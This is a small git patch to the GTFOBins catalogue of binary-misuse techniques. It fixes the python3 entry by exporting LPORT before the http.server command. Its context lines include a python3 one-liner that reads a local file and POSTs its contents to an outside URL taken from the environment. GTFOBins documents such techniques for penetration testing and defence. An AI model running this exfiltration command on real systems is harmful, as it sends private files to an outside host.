From ebb9fd00bef04bc42f69ed03090d1df3dfa076af Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 25 Sep 2018 20:36:42 +0100 Subject: [PATCH] Fix python3 upload --- _gtfobins/python3.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/python3.md b/_gtfobins/python3.md index d71c0a4..5779825 100644 --- a/_gtfobins/python3.md +++ b/_gtfobins/python3.md @@ -16,7 +16,7 @@ functions: python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' - description: Serve files in the local folder running an HTTP server. code: | - LPORT=8888 + export LPORT=8888 python3 -m http.server $LPORT download: - description: Fetch a remote file via HTTP GET request.